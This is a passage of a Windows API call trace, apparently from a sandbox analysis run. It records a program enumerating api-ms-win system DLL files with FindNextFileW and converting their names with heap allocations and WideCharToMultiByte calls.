Flags=0x8, Size=0x40) returned 0x1dc288 [0164.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x1dc288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0164.151] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.151] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.151] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.151] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.151] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.152] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.152] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.152] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0164.152] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1dc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0164.152] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.152] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.152] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.152] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.152] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.152] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.152] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.152] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0164.152] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x1dc288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0164.152] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.152] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.152] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.152] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.152] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.152] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0164.152] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.152] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0164.152] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x1dc120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0164.152] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.152] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.152] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.152] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.152] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.152] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.152] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.152] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0164.152] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x1dc288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0164.153] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.153] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.153] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.153] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.153] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.153] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.153] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.153] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0164.153] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x1dc120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0164.153] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.153] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.153] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.153] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.153] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.153] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.153] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.153] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0164.153] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.153] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.153] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0164.153] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.153] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.153] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.153] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.153] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.153] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.153] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.153] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: 